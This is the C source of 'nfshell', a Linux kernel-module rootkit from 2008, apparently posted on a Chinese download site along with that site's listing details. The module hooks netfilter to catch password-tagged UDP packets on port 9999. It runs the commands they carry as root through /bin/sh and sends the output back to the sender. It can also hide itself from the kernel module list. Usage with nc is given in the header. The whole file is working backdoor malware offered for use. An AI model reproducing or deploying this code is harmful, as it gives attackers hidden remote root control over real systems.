/*
nfshell 0.1 a simple rootkit for linux 2.6
(c) 2008 rainman<rainman111@foxmail.com>
usage:
insmod nfshell
client:
nc -u hostname 9999
<pass> <command>
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/net.h>
#include <linux/unistd.h>
#include <linux/workqueue.h>
#include <linux/syscalls.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/moduleparam.h>
#include <linux/kmod.h>
#include <linux/unistd.h>
#include <linux/list.h>
#include <linux/delay.h>
#include <linux/errno.h>
#include <linux/in.h>
#include <asm/unistd.h>
#include <asm/ioctls.h>
#include "syscall.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rainman");
//#define DBG(x) printk(KERN_DEBUG"Nfshell: %s", x)
#define DBG(x) do{} while(0)
#define MODULE_HIDE 0
#define UDP_H_LEN 8
#define LISTEN_PORT 9999
#define PASSWORD "pass"
#define PASSLEN strlen(PASSWORD)
static inline my_syscall0(pid_t, fork);
static inline my_syscall1(int, pipe, int*, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,
const char **, argv, const char **, envp);
static inline my_syscall3(int, waitpid, int, pid,
int*, wait_stat, int, flags);
static inline my_syscall3(void, ioctl, int, fd,
unsigned int, cmd, unsigned long, arg);
struct exec_work{
struct work_struct work;
unsigned int destip;
unsigned short dport;
unsigned short sport;
char *command;
int fds[2];
};
struct nf_hook_ops nf_ops;
unsigned int k_ntohl(unsigned int num){
return (num&0x000000FF)<<24 | (num&0x0000FF00)<<8 | (num&0x00FF0000)>>8 | (num&0xFF000000)>>24;
}
unsigned int k_htonl(unsigned int num){
return (num&0x000000FF)<<24 | (num&0x0000FF00)<<8 | (num&0x00FF0000)>>8 | (num&0xFF000000)>>24;
}
unsigned short k_ntohs(unsigned short num){
return ((num&0x00FF)<<8 | (num&0xFF00)>>8);
}
unsigned short k_htons(unsigned short num){
return ((num&0x00FF)<<8 | (num&0xFF00)>>8);
}
char *my_trim(char *str){
char *p, *ret;
ret = str;
p = ret;
while((*p != 0x0d) && (*p != 0x0a) && (*p != 0x00)){
p++;
}
*p = '\0';
return ret;
}
struct exec_work *cmd_info(struct sk_buff *skb){
struct iphdr *iph;
struct udphdr *uh;
struct exec_work *wk;
char *payload, *password, *cmd;
int len;
iph = skb->nh.iph;
if(iph->protocol != IPPROTO_UDP){
goto out0;
}
uh = (struct udphdr*)(skb->nh.raw + iph->ihl*4);
if(uh->len <= (PASSLEN + UDP_H_LEN + 1)){
goto out0;
}
if(uh->dest != k_htons(LISTEN_PORT)){
goto out0;
}
payload = (char *)uh + UDP_H_LEN;
password = payload;
if(strncmp(PASSWORD, password, PASSLEN)){
goto out0;
}
cmd = payload + PASSLEN;
DBG("Get a cmd\n");
wk = kmalloc(sizeof(*wk), GFP_KERNEL);
if(!wk){
DBG("kmalloc exec_work failed\n");
goto out1;
}
len = uh->len - UDP_H_LEN;
if(len <= 0){
DBG("cmd too short\n");
goto out1;
}
wk->command = kmalloc(len+1, GFP_KERNEL);
if(!wk->command){
DBG("kmalloc command failed\n");
goto out1;
}
strncpy(wk->command, cmd, len);
my_trim(wk->command);
if(strcmp(wk->command, "") == 0){
goto out2;
}
wk->destip = iph->saddr;
wk->dport = uh->source;
wk->sport = uh->dest;
return wk;
out2:
kfree(wk->command);
out1:
kfree(wk);
out0:
return NULL;
}
static const char *envp[] = { "HOME=/", "TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
int exe_pro(void *arg){
struct exec_work *wk = (struct exec_work*)arg;
const char *argv[] = { "/bin/sh", "-c", wk->command, NULL };
dup2(wk->fds[1], 1);
dup2(wk->fds[1], 2);
execve("/bin/sh", argv, envp);
do_exit(0);
}
static int udp_sendto(struct socket *sock, void * buff, size_t len,
unsigned flags, struct sockaddr *addr, int addr_len){
struct kvec vec;
struct msghdr msg;
vec.iov_base=buff;
vec.iov_len=len;
memset(&msg, 0x00, sizeof(msg));
msg.msg_name=addr;
msg.msg_namelen=addr_len;
msg.msg_flags = flags | MSG_DONTWAIT;
return kernel_sendmsg(sock, &msg, &vec, 1, len);
}
int send_replay(struct exec_work *wk, char *buf, int len){
struct sockaddr_in laddr;
struct sockaddr_in raddr;
struct socket *sock;
if(sock_create_kern(AF_INET, SOCK_DGRAM, 0, &sock) < 0){
DBG("create socket failed\n");
return -1;
}
memset(&laddr, 0, sizeof(raddr));
raddr.sin_addr.s_addr = wk->destip;
raddr.sin_port = wk->dport;
raddr.sin_family = AF_INET;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_addr.s_addr = htonl(INADDR_ANY);
laddr.sin_port = wk->sport;
laddr.sin_family = AF_INET;
if(sock->ops->bind(sock, (struct sockaddr*)&laddr, sizeof(laddr)) < 0){
DBG("bind failed\n");
return -1;
}
if(udp_sendto(sock, buf, len, 0, (struct sockaddr*)&raddr, sizeof(raddr)) < 0){
DBG("send replay failed\n");
return -1;
}
sock_release(sock);
return 0;
}
void exec_fun(void *data){
int len;
char buf[1024];
mm_segment_t old_fs;
pid_t pid;
//int stat;
int arg = 1;
struct exec_work *wk = (struct exec_work *)data;
old_fs = get_fs();
set_fs(get_ds());
pipe(wk->fds);
if((pid =fork()) == 0){
exe_pro(data);
do_exit(0);
}
if(pid <= 0){
DBG("create thread failed\n");
return;
}
//waitpid(pid, &stat, 0);
msleep(500); //wait for child run over
ioctl(wk->fds[0], FIONBIO , (unsigned long)&arg);
while((len = sys_read(wk->fds[0], buf, 1000)) > 0){
if(send_replay((struct exec_work*)data, buf, len) == -1){
break;
}
if(len < 1000){
break;
}
msleep(300);
}
send_replay((struct exec_work*)data, "--end--\n", 8);
sys_close(wk->fds[0]);
sys_close(wk->fds[1]);
set_fs(old_fs);
kfree(wk->command);
kfree(wk);
}
void execute_cmd(struct exec_work *ew){
INIT_WORK(&ew->work, exec_fun, ew);
schedule_work(&ew->work);
return;
}
unsigned int nf_ops_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *)){
struct exec_work *wk;
if(NULL != (wk = cmd_info(*skb))){
execute_cmd(wk);
return NF_DROP;
}
return NF_ACCEPT;
}
int nfshell_init(void){
struct module *m;
if(MODULE_HIDE){
m = THIS_MODULE;
list_del(&m->list);
}
nf_ops.hook = nf_ops_func;
nf_ops.hooknum = NF_IP_PRE_ROUTING;
nf_ops.priority = NF_IP_PRI_FIRST;
nf_ops.pf = PF_INET;
nf_register_hook(&nf_ops);
DBG("register netfilter hook over!\n");
return 0;
}
void nfshell_exit(void){
nf_unregister_hook(&nf_ops);
}
module_init(nfshell_init);
module_exit(nfshell_exit);
nfshell rootkit
需积分: 9 130 浏览量
2008-12-30
13:22:43
上传
评论
收藏 3KB GZ 举报
rainman00001
- 粉丝: 3
- 资源: 4
最新资源
- Qt的tcp网络编程(客户端和服务器)
- 当谈到 Linux 常用命令时,有很多命令可以提及 以下是一些常见的 Linux 命令及其功能:
- Sora AI Video Preview Case Sora AI 视频模版项目,React全栈快速部署.zip
- Foobar2000 中文完全版
- 基于JAVA web 的酒店管理系统的设计与实现,MySQL、MVC
- cdf6be7eb5ee2c1204e6de3b08a441d2.jpg
- 基于web的停车场管理系统的设计与实现、MVC、前台jQuery、后台JDBC,JSP技术,Tomcat、JavaBean
- 基于STM32和QT平台的农业大棚远程监控系统设计.pdf
- 毕业设计-基于SpringBoot、JPA、Thmleaf实现的旅游网站管理系统
- index.wxml
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈